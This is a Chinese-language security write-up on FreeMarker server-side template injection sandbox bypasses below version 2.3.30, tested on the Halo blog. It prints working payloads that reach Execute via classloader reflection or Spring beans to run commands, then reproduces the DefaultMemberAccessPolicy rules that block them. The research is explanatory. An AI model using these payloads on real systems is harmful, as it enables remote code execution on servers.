前言

Freemark中维护了一个freemarker-core/src/main/resources/freemarker/ext/beans/unsafeMethods.properties黑名单类用于对模板渲染过程中的类方法进行检查,此检查主要通过在解析模板文件之前设置配置项的NewBuiltinClassResolver来实现,本篇文章将结合Pwntester 2020年的议题"Room For Escape Scribbling Outside The Lines Of Template"给出相关的沙箱绕过方式

防御措施

Freemarker存在编辑模板功能时为了防止模板注入通常会使用Configuration.setNewBuiltinClassResolver(TemplateClassResolver)或设置new_builtin_class_resolver来限制内建函数对类的访问(从 2.3.17版开始),该配置有以下三种参数:

  • UNRESTRICTED_RESOLVER:可以通过ClassUtil.forName(String)获得任何类

  • SAFER_RESOLVER:禁止加载ObjectConstructor,Execute和freemarker.template.utility.JythonRuntime这三个类

  • ALLOWS_NOTHING_RESOLVER:禁止解析任何类

下面时Halo博客系统针对模板注入漏洞的防护措施:

https://github.com/halo-dev/halo/commit/dc3a73ee02ca183c509dedf703db28c80219c41c
Bash

使用下面的攻击载荷实施攻击测试时会报如下错误信息:

#攻击测试载荷<#assign test="freemarker.template.utility.Execute"?new()>${test("cmd.exe /c calc")}
#完整错误信息2024-09-22 10:54:58.999 ERROR 4472 --- [ XNIO-1 task-28] io.undertow.request                      : UT005023: Exception handling request to /errorjava.lang.RuntimeException: org.springframework.web.util.NestedServletException: Request processing failed; nested exception is freemarker.core._MiscTemplateException: Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.
Lua

沙箱绕过

2.3.30以下

根据Pwntester 2020年的议题"Room For Escape Scribbling Outside The Lines Of Template"可以发掘两个在2.3.30以下绕过沙箱的payload:

方式1:绕过class.getClassloader反射加载Execute类

我们可以使用java.security.protectionDomain的getClassLoader方法来获得类加载器,随后再一步一步反射调用Execute类,此payload构造时需要在数据模型中找到一个作为对象的变量,这里以halo1.2.0举例,其freemarker版本为2.3.29并配置了NewBuiltinClassResolve

随后我们登录系统后台找到模板编辑的功能位置并插入恶意载荷

<#assign classloader=<<object>>.class.protectionDomain.classLoader><#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")><#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)><#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>${dwf.newInstance(ec,null)("cmd.exe /c calc")}
Kotlin

在这里我们在原来代码中的便签后插入payload,替换payload中的object为archive插入载荷:

随后访问归档页面即可触发恶意载荷:

方式2:Spring Beans可用时直接禁用沙箱
此payload需要freemarker+spring并设置setExposeSpringMacroHelpers(true)或是application.propertices中配置spring.freemarker.expose-spring-macro-helpers=true

<#assign ac=springMacroRequestContext.webApplicationContext>
  <#assign fc=ac.getBean('freeMarkerConfiguration')>
    <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
      <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()("cmd.exe /c calc")}
Objective-C

在Halo 1.2.0中默认配置spring.freemarker.expose-spring-macro-helpers=true:
run/halo/app/config/WebMvcAutoConfiguration.java

此时我们编辑模板文件并添加恶意载荷如下:

此时访问一个404页面会看到如下执行结果:

spring.freemarker.expose-spring-macro-helpers=false时将报如下错误提示信息:

2.3.30以后

Freemarker在2.3.30中引入了一个基于MemberAccessPolicy的新沙箱且默认使用DefaultMemberAccessPolicy,但是漏洞的防护需要同时配置new-builtin-class-resolver,否则用最开始的payload即可攻击,在这里我们使用上面的沙箱绕过的载荷做一个测试

<#assign classloader=archive.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("cmd.exe /c calc")}
C++

发现执行不成功,原因是object.class.protectionDomain.classLoader无法取到值

随后查看黑名单文件unsafeMethods.properties文件发现其中并没有对ProtectionDomain.getClassLoader进行任何限制

紧接着发现在2.3.30以上引入的memberAccessPolicy策略,发现DefaultMemberAccessPolicy有个对应的DefaultMemberAccessPolicy-rules文件,查看DefaultMemberAccessPolicy-rules时可以看到ProtectionDomain.getClassLoader在2.3.30开始已经被block

@whitelistPolicyAssignable的意思是这个类下面被列出来的方法就是白名单方法,如果前面有#的就不再是白名单方法,DefaultMemberAccessPolicy-rules完整列表如下所示:

# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements.  See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership.  The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License.  You may obtain a copy of the License at
#
#   http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied.  See the License for the
# specific language governing permissions and limitations
# under the License.

# Used by DefaultMemberAccessPolicy (not by LegacyDefaultMemberAccessPolicy).
# It does NOT provide enough safety if template authors aren't as trusted as the developers; you need to use a custom
# whitelist then (see WhitelistMemberAccessPolicy).

# Each member entry must have a upper bound type that already has a rule defined. The rules are associated with the
# upper bound type in the lines starting with @. The possible rules are:
# - whitelistPolicyIfAssignable: Members of the type and of its subtypes can only access members that were whitelisted.
#   Thus, if you extend a such type, and add a new method, it won't be exposed, as it wasn't whitelisted.
# - blacklistUnlistedMembers: Members of the type that are not listed will be blacklisted. Once a member was blacklisted,
#   it will be blacklisted in subtypes as well. If you extend a type that has tris rule, and add a new method, it will
#   be exposed, as it wasn't blacklisted.

@blacklistUnlistedMembers java.lang.Object
# Disallowed since 2.3.0: java.lang.Object.wait(long)
# Disallowed since 2.3.0: java.lang.Object.wait(long,int)
# Disallowed since 2.3.0: java.lang.Object.wait()
java.lang.Object.equals(java.lang.Object)
java.lang.Object.toString()
java.lang.Object.hashCode()
java.lang.Object.getClass()
# Disallowed since 2.3.0: java.lang.Object.notify()
# Disallowed since 2.3.0: java.lang.Object.notifyAll()

@blacklistUnlistedMembers java.lang.Thread
java.lang.Thread.getName()
# Disallowed since 2.3.0, since 2.3.30 even when overridden: java.lang.Thread.run()
java.lang.Thread.isInterrupted()
# Disallowed since 2.3.30: java.lang.Thread.currentThread()
# Disallowed since 2.3.30: java.lang.Thread.onSpinWait()
# Disallowed since 2.3.0: java.lang.Thread.join(long,int)
# Disallowed since 2.3.0: java.lang.Thread.join(long)
# Disallowed since 2.3.0: java.lang.Thread.join()
java.lang.Thread.getThreadGroup()
# Disallowed since 2.3.0: java.lang.Thread.setContextClassLoader(java.lang.ClassLoader)
java.lang.Thread.holdsLock(java.lang.Object)
# Disallowed since 2.3.30: java.lang.Thread.getStackTrace()
java.lang.Thread.checkAccess()
# Disallowed since 2.3.30: java.lang.Thread.dumpStack()
# Disallowed since 2.3.0: java.lang.Thread.setPriority(int)
# Disallowed since 2.3.0: java.lang.Thread.setDaemon(boolean)
# Disallowed since 2.3.0: java.lang.Thread.start()
# Disallowed since 2.3.0: java.lang.Thread.sleep(long)
# Disallowed since 2.3.0: java.lang.Thread.sleep(long,int)
java.lang.Thread.isDaemon()
java.lang.Thread.getPriority()
# Disallowed since 2.3.0: java.lang.Thread.getContextClassLoader()
# Disallowed since 2.3.0: java.lang.Thread.resume()
# Disallowed since 2.3.0: java.lang.Thread.interrupt()
java.lang.Thread.activeCount()
# Disallowed since 2.3.30: java.lang.Thread.enumerate(java.lang.Thread[])
java.lang.Thread.isAlive()
# Disallowed since 2.3.30: java.lang.Thread.setDefaultUncaughtExceptionHandler(java.lang.Thread$UncaughtExceptionHandler)
# Disallowed since 2.3.30: java.lang.Thread.getUncaughtExceptionHandler()
# Disallowed since 2.3.30: java.lang.Thread.yield()
# Disallowed since 2.3.0: java.lang.Thread.stop()
java.lang.Thread.interrupted()
# Disallowed since 2.3.0: java.lang.Thread.suspend()
# Disallowed since 2.3.0: java.lang.Thread.setName(java.lang.String)
java.lang.Thread.countStackFrames()
# Disallowed since 2.3.30: java.lang.Thread.getAllStackTraces()
java.lang.Thread.getId()
java.lang.Thread.getState()
# Disallowed since 2.3.30: java.lang.Thread.getDefaultUncaughtExceptionHandler()
# Disallowed since 2.3.30: java.lang.Thread.setUncaughtExceptionHandler(java.lang.Thread$UncaughtExceptionHandler)

@whitelistPolicyIfAssignable java.lang.ThreadGroup
java.lang.ThreadGroup.getName()
# Disallowed since 2.3.30: java.lang.ThreadGroup.list()
java.lang.ThreadGroup.getParent()
java.lang.ThreadGroup.checkAccess()
# Disallowed since 2.3.0: java.lang.ThreadGroup.setDaemon(boolean)
java.lang.ThreadGroup.isDaemon()
# Disallowed since 2.3.0: java.lang.ThreadGroup.resume()
# Disallowed since 2.3.0: java.lang.ThreadGroup.interrupt()
java.lang.ThreadGroup.getMaxPriority()
java.lang.ThreadGroup.activeCount()
# Disallowed since 2.3.30: java.lang.ThreadGroup.enumerate(java.lang.ThreadGroup[],boolean)
# Disallowed since 2.3.30: java.lang.ThreadGroup.enumerate(java.lang.ThreadGroup[])
# Disallowed since 2.3.30: java.lang.ThreadGroup.enumerate(java.lang.Thread[])
# Disallowed since 2.3.30: java.lang.ThreadGroup.enumerate(java.lang.Thread[],boolean)
# Disallowed since 2.3.30: java.lang.ThreadGroup.uncaughtException(java.lang.Thread,java.lang.Throwable)
# Disallowed since 2.3.0: java.lang.ThreadGroup.stop()
# Disallowed since 2.3.0: java.lang.ThreadGroup.suspend()
# Disallowed since 2.3.0: java.lang.ThreadGroup.setMaxPriority(int)
java.lang.ThreadGroup.activeGroupCount()
# Disallowed since 2.3.0: java.lang.ThreadGroup.destroy()
java.lang.ThreadGroup.isDestroyed()
java.lang.ThreadGroup.parentOf(java.lang.ThreadGroup)
# Disallowed since 2.3.0: java.lang.ThreadGroup.allowThreadSuspension(boolean)

@whitelistPolicyIfAssignable java.lang.Runtime
# Disallowed since 2.3.30: java.lang.Runtime.getRuntime()
# Disallowed since 2.3.0: java.lang.Runtime.exit(int)
# Disallowed since 2.3.30: java.lang.Runtime.runFinalization()
java.lang.Runtime.version()
# Disallowed since 2.3.0: java.lang.Runtime.loadLibrary(java.lang.String)
# Disallowed since 2.3.30: java.lang.Runtime.gc()
# Disallowed since 2.3.0: java.lang.Runtime.load(java.lang.String)
java.lang.Runtime.freeMemory()
java.lang.Runtime.maxMemory()
java.lang.Runtime.availableProcessors()
# Disallowed since 2.3.0: java.lang.Runtime.halt(int)
# Disallowed since 2.3.0: java.lang.Runtime.exec(java.lang.String[])
# Disallowed since 2.3.0: java.lang.Runtime.exec(java.lang.String,java.lang.String[],java.io.File)
# Disallowed since 2.3.0: java.lang.Runtime.exec(java.lang.String)
# Disallowed since 2.3.0: java.lang.Runtime.exec(java.lang.String[],java.lang.String[])
# Disallowed since 2.3.0: java.lang.Runtime.exec(java.lang.String[],java.lang.String[],java.io.File)
# Disallowed since 2.3.0: java.lang.Runtime.exec(java.lang.String,java.lang.String[])
# Disallowed since 2.3.0: java.lang.Runtime.addShutdownHook(java.lang.Thread)
# Disallowed since 2.3.0: java.lang.Runtime.removeShutdownHook(java.lang.Thread)
java.lang.Runtime.totalMemory()
# Disallowed since 2.3.0: java.lang.Runtime.traceInstructions(boolean)
# Disallowed since 2.3.0: java.lang.Runtime.traceMethodCalls(boolean)

@whitelistPolicyIfAssignable java.lang.System
# Disallowed since 2.3.0: java.lang.System.exit(int)
# Disallowed since 2.3.0: java.lang.System.runFinalization()
# Disallowed since 2.3.0: java.lang.System.runFinalizersOnExit(boolean)
java.lang.System.getProperty(java.lang.String)
java.lang.System.getProperty(java.lang.String,java.lang.String)
java.lang.System.identityHashCode(java.lang.Object)
java.lang.System.currentTimeMillis()
java.lang.System.nanoTime()
# Disallowed since 2.3.30: java.lang.System.arraycopy(java.lang.Object,int,java.lang.Object,int,int)
# Disallowed since 2.3.30: java.lang.System.getSecurityManager()
java.lang.System.mapLibraryName(java.lang.String)
# Disallowed since 2.3.0: java.lang.System.loadLibrary(java.lang.String)
# Disallowed since 2.3.30: java.lang.System.console()
# Disallowed since 2.3.30: java.lang.System.inheritedChannel()
# Disallowed since 2.3.0: java.lang.System.setSecurityManager(java.lang.SecurityManager)
java.lang.System.lineSeparator()
# Disallowed since 2.3.0: java.lang.System.setProperty(java.lang.String,java.lang.String)
java.lang.System.getenv(java.lang.String)
java.lang.System.getenv()
# Disallowed since 2.3.30: java.lang.System.getLogger(java.lang.String,java.util.ResourceBundle)
# Disallowed since 2.3.30: java.lang.System.getLogger(java.lang.String)
# Disallowed since 2.3.30: java.lang.System.gc()
# Disallowed since 2.3.0: java.lang.System.setIn(java.io.InputStream)
# Disallowed since 2.3.0: java.lang.System.setOut(java.io.PrintStream)
# Disallowed since 2.3.0: java.lang.System.setErr(java.io.PrintStream)
java.lang.System.getProperties()
# Disallowed since 2.3.0: java.lang.System.setProperties(java.util.Properties)
# Disallowed since 2.3.0: java.lang.System.clearProperty(java.lang.String)
# Disallowed since 2.3.0: java.lang.System.load(java.lang.String)

@whitelistPolicyIfAssignable java.lang.ClassLoader
java.lang.ClassLoader.getName()
# Disallowed since 2.3.30: java.lang.ClassLoader.loadClass(java.lang.String)
# Disallowed since 2.3.30: java.lang.ClassLoader.getPlatformClassLoader()
# Disallowed since 2.3.30: java.lang.ClassLoader.getSystemClassLoader()
# Disallowed since 2.3.30: java.lang.ClassLoader.getSystemResourceAsStream(java.lang.String)
# Disallowed since 2.3.30: java.lang.ClassLoader.getResourceAsStream(java.lang.String)
# Disallowed since 2.3.30: java.lang.ClassLoader.getSystemResource(java.lang.String)
# Disallowed since 2.3.30: java.lang.ClassLoader.getResource(java.lang.String)
# Disallowed since 2.3.30: java.lang.ClassLoader.getResources(java.lang.String)
# Disallowed since 2.3.30: java.lang.ClassLoader.getDefinedPackage(java.lang.String)
# Disallowed since 2.3.30: java.lang.ClassLoader.resources(java.lang.String)
# Disallowed since 2.3.30: java.lang.ClassLoader.isRegisteredAsParallelCapable()
# Disallowed since 2.3.30: java.lang.ClassLoader.getSystemResources(java.lang.String)
# Disallowed since 2.3.30: java.lang.ClassLoader.getParent()
# Disallowed since 2.3.30: java.lang.ClassLoader.getUnnamedModule()
# Disallowed since 2.3.30: java.lang.ClassLoader.getDefinedPackages()
# Disallowed since 2.3.30: java.lang.ClassLoader.setDefaultAssertionStatus(boolean)
# Disallowed since 2.3.30: java.lang.ClassLoader.setPackageAssertionStatus(java.lang.String,boolean)
# Disallowed since 2.3.30: java.lang.ClassLoader.setClassAssertionStatus(java.lang.String,boolean)
# Disallowed since 2.3.30: java.lang.ClassLoader.clearAssertionStatus()

@whitelistPolicyIfAssignable java.security.ProtectionDomain
# Disallowed since 2.3.30: java.security.ProtectionDomain.getClassLoader()
# Disallowed since 2.3.30: java.security.ProtectionDomain.getCodeSource()
# Disallowed since 2.3.30: java.security.ProtectionDomain.implies(java.security.Permission)
# Disallowed since 2.3.30: java.security.ProtectionDomain.getPermissions()
# Disallowed since 2.3.30: java.security.ProtectionDomain.getPrincipals()
# Disallowed since 2.3.30: java.security.ProtectionDomain.staticPermissionsOnly()

@whitelistPolicyIfAssignable java.lang.Class
java.lang.Class.getName()
# Disallowed since 2.3.30: java.lang.Class.forName(java.lang.Module,java.lang.String)
# Disallowed since 2.3.0: java.lang.Class.forName(java.lang.String,boolean,java.lang.ClassLoader)
# Disallowed since 2.3.0: java.lang.Class.forName(java.lang.String)
# Disallowed since 2.3.30: java.lang.Class.getModule()
java.lang.Class.getProtectionDomain()
java.lang.Class.isAssignableFrom(java.lang.Class)
java.lang.Class.isInstance(java.lang.Object)
java.lang.Class.getModifiers()
java.lang.Class.isInterface()
java.lang.Class.isArray()
java.lang.Class.isPrimitive()
java.lang.Class.getSuperclass()
java.lang.Class.cast(java.lang.Object)
java.lang.Class.componentType()
java.lang.Class.componentType()
java.lang.Class.describeConstable()
java.lang.Class.getComponentType()
java.lang.Class.isAnnotation()
java.lang.Class.isEnum()
java.lang.Class.getTypeParameters()
# Disallowed since 2.3.0: java.lang.Class.getClassLoader()
# Disallowed since 2.3.0: java.lang.Class.newInstance()
java.lang.Class.getInterfaces()
java.lang.Class.getEnclosingClass()
java.lang.Class.getSimpleName()
java.lang.Class.getCanonicalName()
# Disallowed since 2.3.30: java.lang.Class.getResourceAsStream(java.lang.String)
# Disallowed since 2.3.30: java.lang.Class.getResource(java.lang.String)
java.lang.Class.getPackageName()
java.lang.Class.desiredAssertionStatus()
java.lang.Class.getMethod(java.lang.String,java.lang.Class[])
java.lang.Class.isAnnotationPresent(java.lang.Class)
java.lang.Class.descriptorString()
java.lang.Class.arrayType()
java.lang.Class.toGenericString()
java.lang.Class.isSynthetic()
java.lang.Class.getGenericSuperclass()
java.lang.Class.getPackage()
java.lang.Class.getGenericInterfaces()
# Disallowed since 2.3.30: java.lang.Class.getSigners()
java.lang.Class.getEnclosingMethod()
java.lang.Class.getEnclosingConstructor()
java.lang.Class.getDeclaringClass()
java.lang.Class.getTypeName()
java.lang.Class.isAnonymousClass()
java.lang.Class.isLocalClass()
java.lang.Class.isMemberClass()
java.lang.Class.getClasses()
java.lang.Class.getFields()
java.lang.Class.getMethods()
java.lang.Class.getConstructors()
java.lang.Class.getField(java.lang.String)
java.lang.Class.getConstructor(java.lang.Class[])
java.lang.Class.getDeclaredClasses()
java.lang.Class.getDeclaredFields()
java.lang.Class.getDeclaredMethods()
java.lang.Class.getDeclaredConstructors()
java.lang.Class.getDeclaredField(java.lang.String)
java.lang.Class.getDeclaredMethod(java.lang.String,java.lang.Class[])
java.lang.Class.getDeclaredConstructor(java.lang.Class[])
java.lang.Class.getEnumConstants()
java.lang.Class.asSubclass(java.lang.Class)
java.lang.Class.getAnnotation(java.lang.Class)
java.lang.Class.getAnnotationsByType(java.lang.Class)
java.lang.Class.getAnnotations()
java.lang.Class.getDeclaredAnnotation(java.lang.Class)
java.lang.Class.getDeclaredAnnotationsByType(java.lang.Class)
java.lang.Class.getDeclaredAnnotations()
java.lang.Class.getAnnotatedSuperclass()
java.lang.Class.getAnnotatedInterfaces()
java.lang.Class.getNestHost()
java.lang.Class.isNestmateOf(java.lang.Class)
java.lang.Class.getNestMembers()

@whitelistPolicyIfAssignable java.lang.Package
java.lang.Package.getName()
java.lang.Package.isAnnotationPresent(java.lang.Class)
java.lang.Package.getPackage(java.lang.String)
java.lang.Package.getAnnotation(java.lang.Class)
java.lang.Package.getAnnotationsByType(java.lang.Class)
java.lang.Package.getAnnotations()
java.lang.Package.getDeclaredAnnotation(java.lang.Class)
java.lang.Package.getDeclaredAnnotationsByType(java.lang.Class)
java.lang.Package.getDeclaredAnnotations()
java.lang.Package.getPackages()
java.lang.Package.isSealed()
java.lang.Package.isSealed(java.net.URL)
java.lang.Package.getSpecificationTitle()
java.lang.Package.getSpecificationVersion()
java.lang.Package.getSpecificationVendor()
java.lang.Package.getImplementationTitle()
java.lang.Package.getImplementationVersion()
java.lang.Package.getImplementationVendor()
java.lang.Package.isCompatibleWith(java.lang.String)

@whitelistPolicyIfAssignable java.lang.reflect.Method
# Disallowed since 2.3.0: java.lang.reflect.Method.invoke(java.lang.Object,java.lang.Object[])
java.lang.reflect.Method.getName()
java.lang.reflect.Method.getModifiers()
java.lang.reflect.Method.getTypeParameters()
java.lang.reflect.Method.getReturnType()
java.lang.reflect.Method.getParameterTypes()
java.lang.reflect.Method.toGenericString()
java.lang.reflect.Method.isSynthetic()
java.lang.reflect.Method.getDeclaringClass()
java.lang.reflect.Method.getAnnotation(java.lang.Class)
java.lang.reflect.Method.getDeclaredAnnotations()
# Disallowed since 2.3.0: java.lang.reflect.Method.setAccessible(boolean)
java.lang.reflect.Method.isVarArgs()
java.lang.reflect.Method.getParameterCount()
java.lang.reflect.Method.getParameterAnnotations()
java.lang.reflect.Method.getGenericParameterTypes()
java.lang.reflect.Method.getGenericExceptionTypes()
java.lang.reflect.Method.isDefault()
java.lang.reflect.Method.getGenericReturnType()
java.lang.reflect.Method.getExceptionTypes()
java.lang.reflect.Method.isBridge()
java.lang.reflect.Method.getDefaultValue()
java.lang.reflect.Method.getAnnotatedReturnType()
java.lang.reflect.Method.getAnnotationsByType(java.lang.Class)
java.lang.reflect.Method.getAnnotatedParameterTypes()
java.lang.reflect.Method.getParameters()
java.lang.reflect.Method.getAnnotatedReceiverType()
java.lang.reflect.Method.getAnnotatedExceptionTypes()
java.lang.reflect.Method.isAnnotationPresent(java.lang.Class)
java.lang.reflect.Method.getAnnotations()
java.lang.reflect.Method.getDeclaredAnnotation(java.lang.Class)
java.lang.reflect.Method.getDeclaredAnnotationsByType(java.lang.Class)
# Disallowed since 2.3.0: java.lang.reflect.Method.setAccessible(java.lang.reflect.AccessibleObject[],boolean)
# Disallowed since 2.3.0: java.lang.reflect.Method.trySetAccessible()
java.lang.reflect.Method.isAccessible()
java.lang.reflect.Method.canAccess(java.lang.Object)

@whitelistPolicyIfAssignable java.lang.reflect.Constructor
java.lang.reflect.Constructor.getName()
java.lang.reflect.Constructor.getModifiers()
java.lang.reflect.Constructor.getTypeParameters()
# Disallowed since 2.3.0: java.lang.reflect.Constructor.newInstance(java.lang.Object[])
java.lang.reflect.Constructor.getParameterTypes()
java.lang.reflect.Constructor.toGenericString()
java.lang.reflect.Constructor.isSynthetic()
java.lang.reflect.Constructor.getDeclaringClass()
java.lang.reflect.Constructor.getAnnotation(java.lang.Class)
java.lang.reflect.Constructor.getDeclaredAnnotations()
# Disallowed since 2.3.0: java.lang.reflect.Constructor.setAccessible(boolean)
java.lang.reflect.Constructor.isVarArgs()
java.lang.reflect.Constructor.getParameterCount()
java.lang.reflect.Constructor.getParameterAnnotations()
java.lang.reflect.Constructor.getGenericParameterTypes()
java.lang.reflect.Constructor.getGenericExceptionTypes()
java.lang.reflect.Constructor.getExceptionTypes()
java.lang.reflect.Constructor.getAnnotatedReturnType()
java.lang.reflect.Constructor.getAnnotatedReceiverType()
java.lang.reflect.Constructor.getAnnotationsByType(java.lang.Class)
java.lang.reflect.Constructor.getAnnotatedParameterTypes()
java.lang.reflect.Constructor.getParameters()
java.lang.reflect.Constructor.getAnnotatedExceptionTypes()
java.lang.reflect.Constructor.isAnnotationPresent(java.lang.Class)
java.lang.reflect.Constructor.getAnnotations()
java.lang.reflect.Constructor.getDeclaredAnnotation(java.lang.Class)
java.lang.reflect.Constructor.getDeclaredAnnotationsByType(java.lang.Class)
# Disallowed since 2.3.0: java.lang.reflect.Constructor.setAccessible(java.lang.reflect.AccessibleObject[],boolean)
# Disallowed since 2.3.0: java.lang.reflect.Constructor.trySetAccessible()
java.lang.reflect.Constructor.isAccessible()
java.lang.reflect.Constructor.canAccess(java.lang.Object)

@whitelistPolicyIfAssignable java.lang.reflect.Field
java.lang.reflect.Field.getName()
java.lang.reflect.Field.getModifiers()
# Disallowed since 2.3.30: java.lang.reflect.Field.get(java.lang.Object)
# Disallowed since 2.3.30: java.lang.reflect.Field.getBoolean(java.lang.Object)
# Disallowed since 2.3.30: java.lang.reflect.Field.getByte(java.lang.Object)
# Disallowed since 2.3.30: java.lang.reflect.Field.getShort(java.lang.Object)
# Disallowed since 2.3.30: java.lang.reflect.Field.getChar(java.lang.Object)
# Disallowed since 2.3.30: java.lang.reflect.Field.getInt(java.lang.Object)
# Disallowed since 2.3.30: java.lang.reflect.Field.getLong(java.lang.Object)
# Disallowed since 2.3.30: java.lang.reflect.Field.getFloat(java.lang.Object)
# Disallowed since 2.3.30: java.lang.reflect.Field.getDouble(java.lang.Object)
java.lang.reflect.Field.toGenericString()
java.lang.reflect.Field.isSynthetic()
java.lang.reflect.Field.getDeclaringClass()
java.lang.reflect.Field.getAnnotation(java.lang.Class)
java.lang.reflect.Field.getAnnotationsByType(java.lang.Class)
java.lang.reflect.Field.getDeclaredAnnotations()
# Disallowed since 2.3.0: java.lang.reflect.Field.set(java.lang.Object,java.lang.Object)
# Disallowed since 2.3.0: java.lang.reflect.Field.setAccessible(boolean)
java.lang.reflect.Field.getGenericType()
java.lang.reflect.Field.getType()
# Disallowed since 2.3.0: java.lang.reflect.Field.setBoolean(java.lang.Object,boolean)
# Disallowed since 2.3.0: java.lang.reflect.Field.setByte(java.lang.Object,byte)
# Disallowed since 2.3.0: java.lang.reflect.Field.setChar(java.lang.Object,char)
# Disallowed since 2.3.0: java.lang.reflect.Field.setShort(java.lang.Object,short)
# Disallowed since 2.3.0: java.lang.reflect.Field.setInt(java.lang.Object,int)
# Disallowed since 2.3.0: java.lang.reflect.Field.setLong(java.lang.Object,long)
# Disallowed since 2.3.0: java.lang.reflect.Field.setFloat(java.lang.Object,float)
# Disallowed since 2.3.0: java.lang.reflect.Field.setDouble(java.lang.Object,double)
java.lang.reflect.Field.isEnumConstant()
java.lang.reflect.Field.getAnnotatedType()
java.lang.reflect.Field.isAnnotationPresent(java.lang.Class)
java.lang.reflect.Field.getAnnotations()
java.lang.reflect.Field.getDeclaredAnnotation(java.lang.Class)
java.lang.reflect.Field.getDeclaredAnnotationsByType(java.lang.Class)
# Disallowed since 2.3.0: java.lang.reflect.Field.setAccessible(java.lang.reflect.AccessibleObject[],boolean)
# Disallowed since 2.3.0: java.lang.reflect.Field.trySetAccessible()
java.lang.reflect.Field.isAccessible()
java.lang.reflect.Field.canAccess(java.lang.Object)

@blacklistUnlistedMembers java.lang.reflect.AccessibleObject
java.lang.reflect.AccessibleObject.isAnnotationPresent(java.lang.Class)
java.lang.reflect.AccessibleObject.getAnnotation(java.lang.Class)
java.lang.reflect.AccessibleObject.getAnnotationsByType(java.lang.Class)
java.lang.reflect.AccessibleObject.getAnnotations()
java.lang.reflect.AccessibleObject.getDeclaredAnnotation(java.lang.Class)
java.lang.reflect.AccessibleObject.getDeclaredAnnotationsByType(java.lang.Class)
java.lang.reflect.AccessibleObject.getDeclaredAnnotations()
# Disallowed since 2.3.0: java.lang.reflect.AccessibleObject.setAccessible(boolean)
# Disallowed since 2.3.0: java.lang.reflect.AccessibleObject.setAccessible(java.lang.reflect.AccessibleObject[],boolean)
# Disallowed since 2.3.30: java.lang.reflect.AccessibleObject.trySetAccessible()
java.lang.reflect.AccessibleObject.isAccessible()
java.lang.reflect.AccessibleObject.canAccess(java.lang.Object)

@whitelistPolicyIfAssignable java.lang.reflect.Member
java.lang.reflect.Member.getName()
java.lang.reflect.Member.getModifiers()
java.lang.reflect.Member.isSynthetic()
java.lang.reflect.Member.getDeclaringClass()

@whitelistPolicyIfAssignable java.lang.reflect.GenericDeclaration
java.lang.reflect.GenericDeclaration.getTypeParameters()
java.lang.reflect.GenericDeclaration.isAnnotationPresent(java.lang.Class)
java.lang.reflect.GenericDeclaration.getAnnotation(java.lang.Class)
java.lang.reflect.GenericDeclaration.getAnnotationsByType(java.lang.Class)
java.lang.reflect.GenericDeclaration.getAnnotations()
java.lang.reflect.GenericDeclaration.getDeclaredAnnotation(java.lang.Class)
java.lang.reflect.GenericDeclaration.getDeclaredAnnotationsByType(java.lang.Class)
java.lang.reflect.GenericDeclaration.getDeclaredAnnotations()

@whitelistPolicyIfAssignable java.lang.reflect.Executable
java.lang.reflect.Executable.getName()
java.lang.reflect.Executable.getModifiers()
java.lang.reflect.Executable.getTypeParameters()
java.lang.reflect.Executable.getParameterTypes()
java.lang.reflect.Executable.toGenericString()
java.lang.reflect.Executable.isSynthetic()
java.lang.reflect.Executable.getDeclaringClass()
java.lang.reflect.Executable.getAnnotation(java.lang.Class)
java.lang.reflect.Executable.getAnnotationsByType(java.lang.Class)
java.lang.reflect.Executable.getDeclaredAnnotations()
java.lang.reflect.Executable.isVarArgs()
java.lang.reflect.Executable.getAnnotatedParameterTypes()
java.lang.reflect.Executable.getParameterCount()
java.lang.reflect.Executable.getParameterAnnotations()
java.lang.reflect.Executable.getGenericParameterTypes()
java.lang.reflect.Executable.getGenericExceptionTypes()
java.lang.reflect.Executable.getExceptionTypes()
java.lang.reflect.Executable.getAnnotatedReturnType()
java.lang.reflect.Executable.getParameters()
java.lang.reflect.Executable.getAnnotatedReceiverType()
java.lang.reflect.Executable.getAnnotatedExceptionTypes()
java.lang.reflect.Executable.isAnnotationPresent(java.lang.Class)
java.lang.reflect.Executable.getAnnotations()
java.lang.reflect.Executable.getDeclaredAnnotation(java.lang.Class)
java.lang.reflect.Executable.getDeclaredAnnotationsByType(java.lang.Class)
# Disallowed since 2.3.0: java.lang.reflect.Executable.setAccessible(boolean)
# Disallowed since 2.3.0: java.lang.reflect.Executable.setAccessible(java.lang.reflect.AccessibleObject[],boolean)
# Disallowed since 2.3.0: java.lang.reflect.Executable.trySetAccessible()
java.lang.reflect.Executable.isAccessible()
java.lang.reflect.Executable.canAccess(java.lang.Object)

@whitelistPolicyIfAssignable java.lang.reflect.TypeVariable
java.lang.reflect.TypeVariable.getName()
java.lang.reflect.TypeVariable.getBounds()
java.lang.reflect.TypeVariable.getGenericDeclaration()
java.lang.reflect.TypeVariable.getAnnotatedBounds()
java.lang.reflect.TypeVariable.getTypeName()
java.lang.reflect.TypeVariable.isAnnotationPresent(java.lang.Class)
java.lang.reflect.TypeVariable.getAnnotation(java.lang.Class)
java.lang.reflect.TypeVariable.getAnnotationsByType(java.lang.Class)
java.lang.reflect.TypeVariable.getAnnotations()
java.lang.reflect.TypeVariable.getDeclaredAnnotation(java.lang.Class)
java.lang.reflect.TypeVariable.getDeclaredAnnotationsByType(java.lang.Class)
java.lang.reflect.TypeVariable.getDeclaredAnnotations()

@whitelistPolicyIfAssignable java.lang.reflect.AnnotatedType
java.lang.reflect.AnnotatedType.getType()
java.lang.reflect.AnnotatedType.getAnnotatedOwnerType()
java.lang.reflect.AnnotatedType.isAnnotationPresent(java.lang.Class)
java.lang.reflect.AnnotatedType.getAnnotation(java.lang.Class)
java.lang.reflect.AnnotatedType.getAnnotationsByType(java.lang.Class)
